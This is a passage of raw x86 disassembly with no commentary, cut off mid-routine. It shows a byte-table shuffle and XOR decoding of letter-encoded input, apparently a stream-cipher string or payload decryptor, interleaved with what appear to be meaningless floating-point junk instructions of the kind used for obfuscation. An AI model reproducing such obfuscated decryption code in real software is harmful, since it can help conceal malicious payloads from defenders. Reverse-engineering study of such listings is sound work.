mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 0
jbe 0x516efb
and dword [ebp - 0x8a4], 0
mov dword [ebp - 0x8ac], 1
mov eax, dword [ebp - 0x8ac]
cmp eax, dword [ebp - 0x894]
jae 0x516ad4
mov eax, dword [ebp - 0x8ac]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x8ac], eax
jmp 0x516ab4
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x10b4], eax
mov eax, dword [ebp - 0x10b4]
mov dword [ebp - 0x10b8], eax
cmp dword [ebp - 0x10b8], 0
je 0x516b19
sub dword [ebp - 0x10b8], 1
je 0x516b45
sub dword [ebp - 0x10b8], 1
je 0x516b71
sub dword [ebp - 0x10b8], 1
je 0x516b9d
jmp 0x516bc9
movzx eax, byte [ebp - 0x89e]
movzx ebx, byte [ebp + eax - 0x88c]
fld qword [ebp - 0x774]
call fcn.00938626
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x89e], bl
jmp 0x516bf0
movzx eax, byte [ebp - 0x89e]
movzx ebx, byte [ebp + eax - 0x88c]
fld qword [ebp - 0x774]
call fcn.00938626
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x89e], bl
jmp 0x516bf0
movzx eax, byte [ebp - 0x89e]
movzx ebx, byte [ebp + eax - 0x88c]
fld qword [ebp - 0x774]
call fcn.00938626
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x89e], bl
jmp 0x516bf0
movzx eax, byte [ebp - 0x89e]
movzx ebx, byte [ebp + eax - 0x88c]
fld qword [ebp - 0x774]
call fcn.00938626
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x89e], bl
jmp 0x516bf0
movzx eax, byte [ebp - 0x89e]
movzx eax, byte [ebp + eax - 0x88c]
mov ecx, dword [ebp - 0x77c]
add ecx, dword [ebp - 0x784]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x89e], al
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
movzx eax, byte [ebp - 0x89d]
cmp dword [ebp - 0x784], eax
jb 0x516e14
fld qword [0x9a6f00]
fstp qword [ebp - 0x8c4]
fld qword [0x9a6ef8]
fstp qword [ebp - 0x8d4]
fld qword [0x9a6ef0]
fstp qword [ebp - 0x8bc]
fld qword [0x9a6ee8]
fstp qword [ebp - 0x8e4]
fld qword [0x9a6ee0]
fstp qword [ebp - 0x8dc]
fld qword [0x9a6ed8]
fstp qword [ebp - 0x8cc]
fld qword [0x9a6ed0]
fstp qword [ebp - 0x8b4]
fld qword [ebp - 0x8dc]
fsub qword [ebp - 0x8b4]
fstp qword [ebp - 0x8dc]
fld qword [ebp - 0x8cc]
fmul qword [ebp - 0x8b4]
fstp qword [ebp - 0x8cc]
fld qword [ebp - 0x8c4]
fmul qword [ebp - 0x8b4]
fstp qword [ebp - 0x8c4]
fld qword [ebp - 0x8cc]
fmul qword [ebp - 0x8b4]
fstp qword [ebp - 0x8cc]
fld qword [ebp - 0x8d4]
fadd qword [ebp - 0x8b4]
fstp qword [ebp - 0x8d4]
fld qword [ebp - 0x8e4]
fmul qword [ebp - 0x8b4]
fstp qword [ebp - 0x8e4]
fld qword [ebp - 0x8bc]
fsub qword [ebp - 0x8b4]
fstp qword [ebp - 0x8bc]
fld qword [ebp - 0x8b4]
fcomp qword [ebp - 0x8cc]
fnstsw ax
test ah, 5
jp 0x516d80
fld qword [ebp - 0x8cc]
fsub qword [ebp - 0x8c4]
fstp qword [ebp - 0x8cc]
fld qword [ebp - 0x8b4]
fadd qword [ebp - 0x8d4]
fstp qword [ebp - 0x8b4]
fld qword [ebp - 0x8dc]
fadd qword [ebp - 0x8b4]
fstp qword [ebp - 0x8dc]
fld qword [ebp - 0x8dc]
fsub qword [ebp - 0x8b4]
fstp qword [ebp - 0x8dc]
fld qword [ebp - 0x8dc]
fmul qword [ebp - 0x8b4]
fstp qword [ebp - 0x8dc]
fld qword [ebp - 0x8dc]
fadd qword [ebp - 0x8b4]
fstp qword [ebp - 0x8dc]
fld qword [ebp - 0x8d4]
fmul qword [ebp - 0x8e4]
fstp qword [ebp - 0x8d4]
and dword [ebp - 0x784], 0
jmp 0x516dfe
fld qword [ebp - 0x8e4]
fdiv qword [ebp - 0x8dc]
fstp qword [ebp - 0x8e4]
fld qword [ebp - 0x8dc]
fsub qword [ebp - 0x8cc]
fstp qword [ebp - 0x8dc]
fld qword [ebp - 0x8d4]
fsub qword [ebp - 0x8bc]
fstp qword [ebp - 0x8d4]
fld qword [ebp - 0x8cc]
fadd qword [ebp - 0x8b4]
fstp qword [ebp - 0x8cc]
fld qword [ebp - 0x8dc]
fadd qword [ebp - 0x8cc]
fstp qword [ebp - 0x8dc]
fld qword [ebp - 0x8cc]
fadd qword [ebp - 0x8b4]
fstp qword [ebp - 0x8cc]
fld qword [ebp - 0x8c4]
fadd qword [ebp - 0x8d4]
fstp qword [ebp - 0x8c4]
movzx eax, byte [ebp - 0x89d]
movzx ecx, byte [ebp - 0x89e]
add ecx, eax
mov byte [ebp - 0x89e], cl
movzx eax, byte [ebp - 0x89e]
and eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x8a8], eax
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 0xb
jbe 0x516e51
mov eax, dword [ebp - 0x8a8]
xor edx, edx
div dword [ebp - 0x894]
mov dword [ebp - 0x8a8], edx
mov eax, dword [ebp - 0x8a8]
cmp eax, dword [ebp - 0x894]
ja 0x516ad4
mov eax, dword [ebp - 0x894]
cmp eax, dword [ebp - 0x8a8]
je 0x516ef6
mov eax, dword [ebp - 0x8a8]
movzx eax, byte [ebp + eax - 0x88c]
mov ecx, dword [ebp - 0x894]
movzx ecx, byte [ebp + ecx - 0x88c]
xor ecx, eax
mov eax, dword [ebp - 0x894]
mov byte [ebp + eax - 0x88c], cl
mov eax, dword [ebp - 0x894]
movzx eax, byte [ebp + eax - 0x88c]
mov ecx, dword [ebp - 0x8a8]
movzx ecx, byte [ebp + ecx - 0x88c]
xor ecx, eax
mov eax, dword [ebp - 0x8a8]
mov byte [ebp + eax - 0x88c], cl
mov eax, dword [ebp - 0x8a8]
movzx eax, byte [ebp + eax - 0x88c]
mov ecx, dword [ebp - 0x894]
movzx ecx, byte [ebp + ecx - 0x88c]
xor ecx, eax
mov eax, dword [ebp - 0x894]
mov byte [ebp + eax - 0x88c], cl
jmp 0x516a89
mov al, byte [ebp - 0x88b]
mov byte [ebp - 0x89f], al
mov al, byte [ebp - 0x889]
mov byte [ebp - 0x785], al
mov al, byte [ebp - 0x887]
mov byte [ebp - 0x88d], al
mov al, byte [ebp - 0x885]
mov byte [ebp - 0x895], al
movzx eax, byte [ebp - 0x89e]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp - 0x775], al
mov dword [ebp - 0x89c], 0xa
cmp dword [ebp - 0x89c], 2
jle 0x518870
mov eax, dword [ebp - 0x89c]
and eax, 1
jne 0x518870
and dword [ebp - 0x98c], 0
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x98c]
shl eax, 1
mov dword [ebp - 0x8f4], eax
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x8f4]
movzx eax, byte [eax]
add eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x9c4], eax
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0x938]
add eax, 0x6c
mov dword [ebp - 0x938], eax
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x98c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x970], eax
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x970]
movzx eax, byte [eax]
add eax, dword [ebp - 0x9f4]
mov dword [ebp - 0x9f4], eax
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x9c0]
add eax, 0x60
mov dword [ebp - 0x9c0], eax
and dword [ebp - 0x9f0], 0
fld dword [0x9a6ec8]
fstp dword [ebp - 0x9c8]
fld dword [0x9a6ec4]
fstp dword [ebp - 0x984]
fld dword [0x9a6ec0]
fstp dword [ebp - 0x940]
fld dword [0x9a4e18]
fstp dword [ebp - 0x904]
fld dword [ebp - 0x940]
fmul dword [ebp - 0x904]
fstp dword [ebp - 0x940]
fld dword [ebp - 0x940]
fsub dword [ebp - 0x904]
fstp dword [ebp - 0x940]
fld dword [ebp - 0x9c8]
fmul dword [ebp - 0x904]
fstp dword [ebp - 0x9c8]
fld dword [ebp - 0x984]
fadd dword [ebp - 0x904]
fstp dword [ebp - 0x984]
fld dword [ebp - 0x9c8]
fld dword [ebp - 0x904]
fcompp
fnstsw ax
test ah, 0x41
jne 0x5170fa
fld dword [ebp - 0x940]
fmul dword [ebp - 0x9c8]
fstp dword [ebp - 0x940]
fld dword [ebp - 0x984]
fsub dword [ebp - 0x904]
fstp dword [ebp - 0x984]
fld dword [ebp - 0x904]
fadd dword [ebp - 0x984]
fstp dword [ebp - 0x904]
fld dword [ebp - 0x940]
fmul dword [ebp - 0x9c8]
fstp dword [ebp - 0x940]
jmp 0x51715a
fld dword [ebp - 0x904]
fadd dword [ebp - 0x984]
fstp dword [ebp - 0x904]
fld dword [ebp - 0x904]
fsub dword [ebp - 0x984]
fstp dword [ebp - 0x904]
fld dword [ebp - 0x9c8]
fadd dword [ebp - 0x940]
fstp dword [ebp - 0x9c8]
fld dword [ebp - 0x940]
fadd dword [ebp - 0x9c8]
fstp dword [ebp - 0x940]
mov eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0x938]
add eax, dword [ebp - 0x9f0]
mov dword [ebp - 0x9f0], eax
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x9f4]
sub eax, dword [ebp - 0x9c0]
add eax, dword [ebp - 0x900]
mov dword [ebp - 0x900], eax
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x9f0]
shl eax, 4
mov dword [ebp - 0x9ec], eax
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x9bc], eax
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x9ec]
or eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x980], eax
mov byte [ebp - 0x939], 0
mov al, byte [ebp - 0x980]
mov byte [ebp - 0x939], al
mov byte [ebp - 0x9e5], 0
movzx eax, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp - 0x9e5], al
movzx eax, byte [ebp - 0x89f]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x785]
add ecx, eax
mov byte [ebp - 0x785], cl
mov al, byte [ebp - 0x89f]
add al, 1
mov byte [ebp - 0x89f], al
movzx eax, byte [ebp - 0x785]
movzx ecx, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x895]
movzx ecx, byte [ebp - 0x785]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
movzx ecx, byte [ebp - 0x895]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
mov cl, byte [ebp - 0x9e5]
mov byte [ebp + eax - 0x88c], cl
movzx eax, byte [ebp - 0x9e5]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x88d]
add ecx, eax
mov byte [ebp - 0x88d], cl
movzx eax, byte [ebp - 0x939]
movzx ecx, byte [ebp - 0x785]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x89f]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
movzx ecx, byte [ebp - 0x895]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x775]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
movzx edx, byte [ebp - 0x88d]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
mov byte [ebp - 0x895], al
mov al, byte [ebp - 0x939]
mov byte [ebp - 0x775], al
mov al, byte [ebp - 0x895]
mov byte [ebp - 0x9b5], al
cmp dword [ebp - 0x98c], 0
jle 0x517358
movsx ax, byte [ebp - 0x9b5]
mov ecx, dword [ebp - 0x98c]
mov word [ebp + ecx*2 - 0x766], ax
mov eax, dword [ebp - 0x98c]
inc eax
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x98c]
shl eax, 1
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x8f4]
movzx eax, byte [eax]
mov dword [ebp - 0x9c4], eax
mov dword [ebp - 0x938], 0x6c
mov eax, dword [ebp - 0x98c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x970]
movzx eax, byte [eax]
mov dword [ebp - 0x9f4], eax
mov dword [ebp - 0x9c0], 0x60
mov eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0x938]
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x9f4]
sub eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x9f0]
shl eax, 4
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x9ec]
or eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x980], eax
mov al, byte [ebp - 0x980]
mov byte [ebp - 0x939], al
movzx eax, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp - 0x9e5], al
movzx eax, byte [ebp - 0x89f]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x785]
add ecx, eax
mov byte [ebp - 0x785], cl
mov al, byte [ebp - 0x89f]
add al, 1
mov byte [ebp - 0x89f], al
movzx eax, byte [ebp - 0x785]
movzx ecx, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x895]
movzx ecx, byte [ebp - 0x785]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
movzx ecx, byte [ebp - 0x895]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
mov cl, byte [ebp - 0x9e5]
mov byte [ebp + eax - 0x88c], cl
movzx eax, byte [ebp - 0x9e5]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x88d]
add ecx, eax
mov byte [ebp - 0x88d], cl
movzx eax, byte [ebp - 0x939]
movzx ecx, byte [ebp - 0x785]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x89f]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
movzx ecx, byte [ebp - 0x895]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x775]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
movzx edx, byte [ebp - 0x88d]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
mov byte [ebp - 0x895], al
mov al, byte [ebp - 0x939]
mov byte [ebp - 0x775], al
mov al, byte [ebp - 0x895]
mov byte [ebp - 0x9b5], al
cmp dword [ebp - 0x98c], 0
jle 0x5175ae
movsx ax, byte [ebp - 0x9b5]
mov ecx, dword [ebp - 0x98c]
mov word [ebp + ecx*2 - 0x766], ax
mov eax, dword [ebp - 0x98c]
inc eax
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
fld qword [0x9a6eb8]
fstp qword [ebp - 0x91c]
fld qword [0x9a6eb0]
fstp qword [ebp - 0x9e4]
fld qword [0x9a6ea8]
fstp qword [ebp - 0x99c]
fld qword [0x9a6ea0]
fstp qword [ebp - 0x954]
fld qword [0x9a6e98]
fstp qword [ebp - 0x914]
fld qword [0x9a6e90]
fstp qword [ebp - 0x9dc]
fld qword [ebp - 0x99c]
fsub qword [ebp - 0x9dc]
fstp qword [ebp - 0x99c]
fld qword [ebp - 0x914]
fadd qword [ebp - 0x9dc]
fstp qword [ebp - 0x914]
fld qword [ebp - 0x91c]
fsub qword [ebp - 0x9dc]
fstp qword [ebp - 0x91c]
fld qword [ebp - 0x914]
fsub qword [ebp - 0x9dc]
fstp qword [ebp - 0x914]
fld qword [ebp - 0x9e4]
fsub qword [ebp - 0x9dc]
fstp qword [ebp - 0x9e4]
fld qword [ebp - 0x954]
fmul qword [ebp - 0x9dc]
fstp qword [ebp - 0x954]
fld qword [ebp - 0x954]
fcomp qword [ebp - 0x9dc]
fnstsw ax
test ah, 5
jp 0x51785a
fld qword [ebp - 0x91c]
fadd qword [ebp - 0x99c]
fstp qword [ebp - 0x91c]
fld qword [ebp - 0x954]
fadd qword [ebp - 0x9dc]
fstp qword [ebp - 0x954]
fld qword [ebp - 0x9dc]
fadd qword [ebp - 0x9e4]
fstp qword [ebp - 0x9dc]
fld qword [ebp - 0x91c]
fadd qword [ebp - 0x99c]
fstp qword [ebp - 0x91c]
fld qword [ebp - 0x99c]
fadd qword [ebp - 0x914]
fstp qword [ebp - 0x99c]
fld qword [ebp - 0x9e4]
fadd qword [ebp - 0x954]
fstp qword [ebp - 0x9e4]
fld qword [ebp - 0x954]
fdiv qword [ebp - 0x914]
fstp qword [ebp - 0x954]
fld qword [ebp - 0x9dc]
fdiv qword [ebp - 0x91c]
fstp qword [ebp - 0x9dc]
fld qword [ebp - 0x954]
fsub qword [ebp - 0x914]
fstp qword [ebp - 0x954]
fld qword [ebp - 0x9dc]
fdiv qword [ebp - 0x91c]
fstp qword [ebp - 0x9dc]
fld qword [ebp - 0x99c]
fadd qword [ebp - 0x954]
fstp qword [ebp - 0x99c]
fld qword [ebp - 0x91c]
fmul qword [ebp - 0x9e4]
fstp qword [ebp - 0x91c]
fld qword [ebp - 0x91c]
fcomp qword [ebp - 0x914]
fnstsw ax
test ah, 0x41
jne 0x5177ec
fld qword [ebp - 0x9e4]
fsub qword [ebp - 0x954]
fstp qword [ebp - 0x9e4]
fld qword [ebp - 0x914]
fmul qword [ebp - 0x91c]
fstp qword [ebp - 0x914]
fld qword [ebp - 0x91c]
fadd qword [ebp - 0x99c]
fstp qword [ebp - 0x91c]
fld qword [ebp - 0x99c]
fsub qword [ebp - 0x914]
fstp qword [ebp - 0x99c]
fld qword [ebp - 0x91c]
fsub qword [ebp - 0x99c]
fstp qword [ebp - 0x91c]
fld qword [ebp - 0x914]
fmul qword [ebp - 0x91c]
fstp qword [ebp - 0x914]
jmp 0x517858
fld qword [ebp - 0x914]
fmul qword [ebp - 0x91c]
fstp qword [ebp - 0x914]
fld qword [ebp - 0x9e4]
fsub qword [ebp - 0x954]
fstp qword [ebp - 0x9e4]
fld qword [ebp - 0x9e4]
fdiv qword [ebp - 0x954]
fstp qword [ebp - 0x9e4]
fld qword [ebp - 0x99c]
fadd qword [ebp - 0x914]
fstp qword [ebp - 0x99c]
fld qword [ebp - 0x9dc]
fmul qword [ebp - 0x9e4]
fstp qword [ebp - 0x9dc]
fld qword [ebp - 0x9dc]
fsub qword [ebp - 0x9e4]
fstp qword [ebp - 0x9dc]
jmp 0x5178d4
fld qword [ebp - 0x954]
fadd qword [ebp - 0x914]
fstp qword [ebp - 0x954]
fld qword [ebp - 0x954]
fsub qword [ebp - 0x914]
fstp qword [ebp - 0x954]
fld qword [ebp - 0x954]
fadd qword [ebp - 0x914]
fstp qword [ebp - 0x954]
fld qword [ebp - 0x914]
fadd qword [ebp - 0x9dc]
fstp qword [ebp - 0x914]
fld qword [ebp - 0x914]
fsub qword [ebp - 0x9dc]
fstp qword [ebp - 0x914]
fld qword [ebp - 0x9dc]
fsub qword [ebp - 0x91c]
fstp qword [ebp - 0x9dc]
mov eax, dword [ebp - 0x98c]
shl eax, 1
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x8f4]
movzx eax, byte [eax]
mov dword [ebp - 0x9c4], eax
mov dword [ebp - 0x938], 0x6c
mov eax, dword [ebp - 0x98c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x970]
movzx eax, byte [eax]
mov dword [ebp - 0x9f4], eax
mov dword [ebp - 0x9c0], 0x60
mov eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0x938]
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x9f4]
sub eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x9f0]
shl eax, 4
mov dword [ebp - 0x9ec], eax
fld qword [0x9a6e88]
fstp qword [ebp - 0x994]
fld qword [0x9a6e80]
fstp qword [ebp - 0x94c]
fld qword [0x9a6e78]
fstp qword [ebp - 0x90c]
fld qword [0x9a6e70]
fstp qword [ebp - 0x9d4]
fld qword [0x9a6e68]
fstp qword [ebp - 0x9b4]
fld qword [0x9a6e60]
fstp qword [ebp - 0x96c]
fld qword [ebp - 0x9d4]
fadd qword [ebp - 0x96c]
fstp qword [ebp - 0x9d4]
fld qword [ebp - 0x9d4]
fadd qword [ebp - 0x96c]
fstp qword [ebp - 0x9d4]
fld qword [ebp - 0x90c]
fmul qword [ebp - 0x96c]
fstp qword [ebp - 0x90c]
fld qword [ebp - 0x90c]
fsub qword [ebp - 0x96c]
fstp qword [ebp - 0x90c]
fld qword [ebp - 0x994]
fadd qword [ebp - 0x96c]
fstp qword [ebp - 0x994]
fld qword [ebp - 0x94c]
fsub qword [ebp - 0x96c]
fstp qword [ebp - 0x94c]
fld qword [ebp - 0x96c]
fcomp qword [ebp - 0x90c]
fnstsw ax
test ah, 0x41
jne 0x517be7
fld qword [ebp - 0x9d4]
fdiv qword [ebp - 0x96c]
fstp qword [ebp - 0x9d4]
fld qword [ebp - 0x9b4]
fdiv qword [ebp - 0x994]
fstp qword [ebp - 0x9b4]
fld qword [ebp - 0x94c]
fsub qword [ebp - 0x9d4]
fstp qword [ebp - 0x94c]
fld qword [ebp - 0x94c]
fdiv qword [ebp - 0x9d4]
fstp qword [ebp - 0x94c]
fld qword [ebp - 0x96c]
fdiv qword [ebp - 0x94c]
fstp qword [ebp - 0x96c]
fld qword [ebp - 0x994]
fmul qword [ebp - 0x90c]
fstp qword [ebp - 0x994]
fld qword [ebp - 0x9b4]
fmul qword [ebp - 0x96c]
fstp qword [ebp - 0x9b4]
fld qword [ebp - 0x9b4]
fdiv qword [ebp - 0x96c]
fstp qword [ebp - 0x9b4]
fld qword [ebp - 0x9b4]
fdiv qword [ebp - 0x96c]
fstp qword [ebp - 0x9b4]
fld qword [ebp - 0x96c]
fsub qword [ebp - 0x994]
fstp qword [ebp - 0x96c]
fld qword [ebp - 0x96c]
fmul qword [ebp - 0x994]
fstp qword [ebp - 0x96c]
fld qword [ebp - 0x9d4]
fdiv qword [ebp - 0x9b4]
fstp qword [ebp - 0x9d4]
fld qword [ebp - 0x9b4]
fcomp qword [ebp - 0x90c]
fnstsw ax
test ah, 0x41
jne 0x517b79
fld qword [ebp - 0x90c]
fmul qword [ebp - 0x9b4]
fstp qword [ebp - 0x90c]
fld qword [ebp - 0x94c]
fdiv qword [ebp - 0x9d4]
fstp qword [ebp - 0x94c]
fld qword [ebp - 0x96c]
fadd qword [ebp - 0x94c]
fstp qword [ebp - 0x96c]
fld qword [ebp - 0x90c]
fsub qword [ebp - 0x9b4]
fstp qword [ebp - 0x90c]
fld qword [ebp - 0x9d4]
fsub qword [ebp - 0x96c]
fstp qword [ebp - 0x9d4]
fld qword [ebp - 0x9d4]
fmul qword [ebp - 0x96c]
fstp qword [ebp - 0x9d4]
jmp 0x517be5
fld qword [ebp - 0x994]
fadd qword [ebp - 0x94c]
fstp qword [ebp - 0x994]
fld qword [ebp - 0x994]
fmul qword [ebp - 0x94c]
fstp qword [ebp - 0x994]
fld qword [ebp - 0x994]
fadd qword [ebp - 0x94c]
fstp qword [ebp - 0x994]
fld qword [ebp - 0x9d4]
fsub qword [ebp - 0x9b4]
fstp qword [ebp - 0x9d4]
fld qword [ebp - 0x94c]
fadd qword [ebp - 0x90c]
fstp qword [ebp - 0x94c]
fld qword [ebp - 0x9b4]
fmul qword [ebp - 0x96c]
fstp qword [ebp - 0x9b4]
jmp 0x517c5f
fld qword [ebp - 0x94c]
fsub qword [ebp - 0x90c]
fstp qword [ebp - 0x94c]
fld qword [ebp - 0x994]
fadd qword [ebp - 0x94c]
fstp qword [ebp - 0x994]
fld qword [ebp - 0x90c]
fadd qword [ebp - 0x9d4]
fstp qword [ebp - 0x90c]
fld qword [ebp - 0x90c]
fadd qword [ebp - 0x9d4]
fstp qword [ebp - 0x90c]
fld qword [ebp - 0x90c]
fsub qword [ebp - 0x9d4]
fstp qword [ebp - 0x90c]
fld qword [ebp - 0x9b4]
fadd qword [ebp - 0x96c]
fstp qword [ebp - 0x9b4]
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x9bc], eax
fld dword [0x9a6e58]
fstp dword [ebp - 0x928]
fld dword [0x9a6e54]
fstp dword [ebp - 0x8f0]
fld dword [0x9a6e50]
fstp dword [ebp - 0x9a8]
fld dword [ebp - 0x8f0]
fmul dword [ebp - 0x9a8]
fstp dword [ebp - 0x8f0]
fld dword [ebp - 0x928]
fmul dword [ebp - 0x9a8]
fstp dword [ebp - 0x928]
fld dword [ebp - 0x8f0]
fsub dword [ebp - 0x9a8]
fstp dword [ebp - 0x8f0]
fld dword [ebp - 0x928]
fld dword [ebp - 0x9a8]
fcompp
fnstsw ax
test ah, 0x41
jne 0x517dc3
fld dword [ebp - 0x9a8]
fmul dword [ebp - 0x928]
fstp dword [ebp - 0x9a8]
fld dword [ebp - 0x9a8]
fsub dword [ebp - 0x928]
fstp dword [ebp - 0x9a8]
fld dword [ebp - 0x9a8]
fadd dword [ebp - 0x928]
fstp dword [ebp - 0x9a8]
fld dword [ebp - 0x928]
fadd dword [ebp - 0x8f0]
fstp dword [ebp - 0x928]
fld dword [ebp - 0x8f0]
fmul dword [ebp - 0x9a8]
fstp dword [ebp - 0x8f0]
fld dword [ebp - 0x8f0]
fadd dword [ebp - 0x9a8]
fstp dword [ebp - 0x8f0]
fld dword [ebp - 0x928]
fld dword [ebp - 0x9a8]
fcompp
fnstsw ax
test ah, 5
jp 0x517d8b
fld dword [ebp - 0x9a8]
fmul dword [ebp - 0x8f0]
fstp dword [ebp - 0x9a8]
fld dword [ebp - 0x928]
fdiv dword [ebp - 0x9a8]
fstp dword [ebp - 0x928]
fld dword [ebp - 0x928]
fadd dword [ebp - 0x9a8]
fstp dword [ebp - 0x928]
jmp 0x517dc1
fld dword [ebp - 0x8f0]
fadd dword [ebp - 0x9a8]
fstp dword [ebp - 0x8f0]
fld dword [ebp - 0x928]
fadd dword [ebp - 0x8f0]
fstp dword [ebp - 0x928]
fld dword [ebp - 0x8f0]
fsub dword [ebp - 0x9a8]
fstp dword [ebp - 0x8f0]
jmp 0x517e0b
fld dword [ebp - 0x8f0]
fsub dword [ebp - 0x9a8]
fstp dword [ebp - 0x8f0]
fld dword [ebp - 0x9a8]
fmul dword [ebp - 0x928]
fstp dword [ebp - 0x9a8]
fld dword [ebp - 0x928]
fadd dword [ebp - 0x8f0]
fstp dword [ebp - 0x928]
mov eax, dword [ebp - 0x9ec]
or eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x980], eax
mov al, byte [ebp - 0x980]
mov byte [ebp - 0x939], al
movzx eax, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp - 0x9e5], al
movzx eax, byte [ebp - 0x89f]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x785]
add ecx, eax
mov byte [ebp - 0x785], cl
mov al, byte [ebp - 0x89f]
add al, 1
mov byte [ebp - 0x89f], al
movzx eax, byte [ebp - 0x785]
movzx ecx, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x895]
movzx ecx, byte [ebp - 0x785]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
movzx ecx, byte [ebp - 0x895]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
mov cl, byte [ebp - 0x9e5]
mov byte [ebp + eax - 0x88c], cl
movzx eax, byte [ebp - 0x9e5]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x88d]
add ecx, eax
mov byte [ebp - 0x88d], cl
movzx eax, byte [ebp - 0x939]
movzx ecx, byte [ebp - 0x785]
movzx ecx, byte [ebp + ecx - 0x88c]
